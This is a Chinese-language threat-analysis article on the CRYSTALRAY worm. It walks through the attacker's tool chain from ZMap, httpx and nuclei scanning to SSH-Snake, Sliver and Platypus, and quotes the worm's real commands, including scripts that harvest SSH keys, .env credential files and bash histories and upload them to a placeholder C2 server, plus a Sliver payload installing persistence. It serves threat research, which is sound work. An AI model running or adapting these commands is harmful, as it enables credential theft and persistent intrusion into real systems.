长亭百川云 - 文章详情

从网络蠕虫身上提取了一堆好用的安全工具

suntiger

50

2024-07-16

part1

点击上方蓝字关注我们

摘要

一个名为CRYSTALRAY的网络蠕虫,利用公开正规的渗透测试工具组合,在短时间内使被感染的受害者数量超过1500+。CRYSTALRAY蠕虫的动机是收集和贩卖凭证、部署加密货币挖矿程序,并在受害者机器中保持持久性。其利用的渗透测试工具包括:zmap、asn、httpx、nuclei、platypus和SSH-Snake, 通过分析可以从中学到这些工具的一些组合高级用法。

蠕虫功能架构

该蠕虫的功能架构如下图:

蠕虫主要通过Asn、Zmap、httpx和nuclei工具执行目标信息收集、端口扫描、存活主机发现和漏洞扫描, 并尝试利用已知漏洞对目标主机进行攻击,一旦得手, 会收集被害主机的SSH凭据并进行横向移动, 同时进行挖矿和种植后门, 蠕虫会利用C2服务器保持和被害主机的通讯, 持续控制目标。

提取工具一:ASN

ASN是一个用shell编写的开源自动获取IP地址对应的ASN及相关信息的工具。该工具的主要原理是通过向 Shodan 查询有关任何类型目标的数据(CIDR 块/URL/单个 IP/主机名),它可以用作侦察工具, 能够快速为用户提供有关开放端口、已知漏洞、目标上运行的已知软件和硬件等的完整详细信息,而无需向目标发送单个数据包。还支持结果的 JSON 输出、多个同时目标和 IP 列表文件输入。

ASN开源项目地址: 

https://github.com/nitefood/asn#running-lookups-from-the-browser

攻击者通过查询Marcel Bischoff 的country-ip-blocks 存储库中的数据, 使用它来生成分配给给定国家/地区的 IPv4/IPv6 CIDR 块, 以下命令是查询墨西哥的例子:

$> asn -c .mx

以下命令查询并生成自动化文件的命令:

$> asn -j -c .mx | jq -r '.results[0].ipv4[]' > mx_cidr.txt

提取工具二:ZMap

ZMap 是一款开源快速单数据包网络扫描仪,专为互联网范围内的网络信息收集而设计。在具有千兆位以太网连接的典型台式计算机上,ZMap 能够在 45 分钟内扫描单个端口上的整个公共 IPv4 地址空间。借助 10gigE 连接和 netmap 或 PF_RING,ZMap可以在 5 分钟内扫描 完IPv4 地址空间。

ZMap开源项目地址:

https://github.com/zmap/zmap

为了达到最高效率, 攻击者专门使用了ZMap的4.1.0 RC1版本, 因为该版本支持多端口扫描, 效率更高。以下是一个简单的示例:

zmap -p <list-ports> -o zmap_results.csv -w cidr.txt

下面是提取的一个攻击者使用的相对较复杂的命令:

zmap -p 80,8090,7001,61616 --output-module=csv --output-fields=saddr,sport --output-filter='success=1 && repeat=0' --no-header-row -o port_80_8090_7001_61616.csv -w cn_cidr.txt -b /etc/zmap/blocklist.conf -B 500M

攻击者使用zmap扫描期间, 主要针对以下服务进行扫描:

  • Activemq

  • Confluence

  • Metabase

  • Weblogic

  • Solr

  • Openfire

  • Rocketmq

  • Laravel

提取工具三:Httpx

httpx 是一个快速且多用途的 HTTP 工具包,允许使用 retryablehttp 库运行多个探测器。httpx 工具包旨在通过增加线程数量来保持结果可靠性。该工具可用于在检查已知漏洞之前验证域是否处于活动状态或误报状态。

开源项目地址:

https://github.com/projectdiscovery/httpx

以下是攻击者使用的一个实际命令:

cat zmap_results.csv | sed 's/,/:/g' | sort -u | httpx -t 10000 -rl 1000000 -o httpx_output.txt -stream

该命令的作用是先读取 zmap_results.csv
文件内容, 将文件中的所有逗号替换为冒号, 然后对处理后的内容进行排序并去除重复行。最后使用 httpx
工具以高并发和高速率对处理后的内容进行 HTTP 请求,并将结果保存到 httpx_output.txt
文件中。

提取工具四:Nuclei

Nuclei 用于基于模板跨目标发送请求,从而实现零误报并提供对大量主机的快速扫描。Nuclei 提供对各种协议的扫描,包括 TCP、DNS、HTTP、SSL、File、Whois、Websocket、Headless、Code 等。凭借强大而灵活的模板,Nuclei 可用于对各种安全检查进行建模。

Nuclei开源项目地址: 

https://github.com/projectdiscovery/nuclei

以下是攻击者使用Nuclei的示例:

cat httpx_output.txt | grep 8090 | nuclei -tags confluence -s critical -bs 1000 -o confluence_rce.txt -stats -stream -c 1 -rl 1000

该命令作用是: 读取 httpx_output.txt
文件内容, 筛选出包含端口 8090
的行。使用 Nuclei 工具对筛选出的目标进行 Confluence 相关的漏洞扫描,尤其是严重性为 critical
的漏洞。最后, 将扫描结果保存到 confluence_rce.txt
文件中,并显示扫描统计信息。

Nuclei 输出目标主机受到哪些 CVE 的影响。有了这些结果,攻击者就有了一个可靠的列表,可用于继续攻击的利用阶段。在该蠕虫中, 攻击者主要使用了以下漏洞:

  • CVE-2022-44877

  • CVE-2021-3129

  • CVE-2019-18394

提取工具五:SSH-Snake

攻击者使用SSH-Snake主要是为了方便横向移动。SSH-Snake 是一种自我传播、自我复制的无文件脚本,它可以自动化 SSH 私钥和主机发现的后期利用任务。

SSH-Snake开源项目地址: 

https://github.com/MegaManSec/SSH-Snake

在该蠕虫中, 攻击者使用以下命令将受害者的结果发送回C2服务器:

if command -v curl >/dev/null 2>&1; then curl --max-time 100 https://raw.githubusercontent.com/MegaManSec/SSH-Snake/main/Snake.nocomments.sh | bash > /tmp/ssh.txt; id=$(curl -4 ip.me); curl --max-time 100 --user '<creds>' --upload-file "/tmp/ssh.txt" "<c2_server>/${id}_ssh.txt"; rm -f /tmp/ssh.txt; fi

该命令首先检查 curl
是否存在。如果 curl
存在,下载并执行一个远程脚本(Snake.nocomments.sh
),将输出保存到 /tmp/ssh.txt
。获取当前机器的外部 IPv4 地址。将 /tmp/ssh.txt
文件上传到指定的远程服务器,文件名包含机器的外部 IP 地址。最后删除 /tmp/ssh.txt
文件。

以下是SSH-Snake工具输出中识别的SSH密钥示例:

攻击者不仅仅想在可通过 SSH 访问的服务器之间移动, 还试图转向其他平台,例如云提供商。以下命令是攻击者获取凭据并上传凭据的方式:

tmp=$(find / -type f -name "*.env" -o -name "*.env.bak" -o -name "*config.env" -o -name "*.env.dist" -o -name "*.env.dev" -o -name "*.env.local" -o -name "*.env.backup" -o -name "*.environment" -o -name "*.envrc" -o -name "*.envs" -o -name "*.env~" | grep -v 'Permission denied' > tmp.txt; sed 's/^/cat /;' tmp.txt > cmd.sh; chmod +x cmd.sh; > /dev/null)  
  
exe=$(bash cmd.sh > <env_variables>.txt)  
  
path=$(find / -type f -name env_variables.txt | grep -v 'Permission denied')  
  
id=$(curl -4 ip.me)  
  
curl --upload-file $path <C2_server>/${id}_env_variables.txt  
  
rm -f cmd.sh env_variables.txt tmp.txt

该命令的主要作用是在系统中搜索各种环境变量文件,并将搜索到的文件内容输出到一个临时文件, 将该文件上传到攻击者控制的服务器。最后删除所有临时文件。针对上面收集到的凭据,攻击者会在telegram或暗网中进行出售。

提取工具六: 历史档案

Bash命令历史记录提供了有价值的信息,但它们的提取在攻击者中并不常见,因为很难自动处理。CRYSTALRAY 使用两个存储库来快速发现系统上托管的敏感信息。

all-bash-history开源地址:  

https://github.com/djoot/all-bash-history

Linux-smart-enumeration开源地址: 

https://github.com/diego-treitos/linux-smart-enumeration

以下是攻击者利用这两个存储库的命令:

if command -v curl >/dev/null 2>&1; then  
  
    tmpfile=$(mktemp -p /tmp); find / -name .bash_history -exec cat {} + 2>/dev/null > "$tmpfile" ; if [ -s "$tmpfile" ]; then id=$(curl -4 ip.me); curl --user '<creds>' --upload-file "$tmpfile" "<c2_server>/${id}_bash_history.txt"; fi; rm -f "$tmpfile"  
  
fi

该命令链条主要用于在拥有 curl
的系统上收集所有用户的 .bash_history
文件,并将其上传到指定的远程服务器。这些 .bash_history
文件可能包含用户在命令行中执行的历史命令,可能包含敏感信息或操作痕迹。

提取工具七: Sliver

Sliver 是一个开源的跨平台对手模拟/红队框架,各类组织都可以使用它进行安全测试。Sliver 的植入程序支持通过相互 TLS(mTLS)、WireGuard、HTTP(S) 和 DNS 进行 C2(命令与控制),并使用每个二进制文件动态编译的不对称加密密钥。

以下是攻击者执行使用Sliver生成的payload脚本内容:

echo "hostctl"  
  
if [ ! -f /tmp/hostctld ]; then  
  
    download_file "<c2_server>/hostctld" "/tmp/hostctld"  
  
    sleep 1  
  
    chmod +x /tmp/hostctld  
  
    nohup /tmp/hostctld >/dev/null 2>&1 &  
  
fi  
  
if ! pgrep -f /tmp/hostctld > /dev/null; then  
  
    nohup /tmp/hostctld >/dev/null 2>&1 &  
  
fi  
  
if [ "$(id -u)" -eq 0 ]; then  
  
    if command -v systemctl &>/dev/null; then  
  
        systemctl stop ext4; systemctl disable ext4; systemctl stop sshb; systemctl disable sshb  
  
        echo "User is root and systemctl is installed."  
  
        curl -v --user "<creds>" <c2_server>/hostctld --output /usr/bin/hostctld && chmod +x /usr/bin/hostctld && chattr +i /usr/bin/hostctld  
  
        echo -e "[Unit]\nDescription=Host Control Daemon\n\n[Service]\nExecStart=/usr/bin/hostctld\nRestart=always\nRestartSec=30\n\n[Install]\nWantedBy=multi-user.target" > /etc/systemd/system/hostctld.service

攻击者使用Sliver生成了二进制Payload:hostctld
文件, 并确保其在后台运行。如果当前用户是 root 用户,并且系统中安装了 systemctl
,则停止和禁用特定服务。从远程服务器下载并安装 hostctld
到 /usr/bin/hostctld
。创建一个 systemd 服务配置文件以确保 hostctld
自动启动和重启。

CRYSTALRAY 运行二进制文件来维护对系统的访问并连接到 C2 服务器上的特定端口。基本上,它会在受害者成功利用漏洞时记录受害者。

提取工具八: Platypus

CRYSTALRAY 用于基于名为 Platypus 的开源工具来管理受害者的仪表板,Platypus 是一种用 go 编写的现代多反向 shell 会话/客户端基于 Web 的管理器。安装非常简单。

Platypus开源地址:

https://github.com/WangYihang/Platypus

下面是运行最新版本的二进制文件的示例:

通过查询用于管理反向 shell 连接的默认仪表板端口 7331 以及端口 13338 和 13339, 可以在Shodan和Censys互联网地图服务中发现更多的Platypus仪表板,如图:

CRYSTALRAY 在他们的服务器上运行 Platypus。他们的仪表板已重置多次,因为这是一个活跃的活动,并且受害者数量根据正常运行时间从 100 到 400 不等。如图:

参考链接:

https://thehackernews.com/2024/02/cybercriminals-weaponizing-open-source.html

https://thehackernews.com/2024/07/crystalray-hackers-infect-over-1500.html

https://sysdig.com/blog/CRYSTALRAY-rising-threat-actor-exploiting-oss-tools/

点个在看你最好看

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2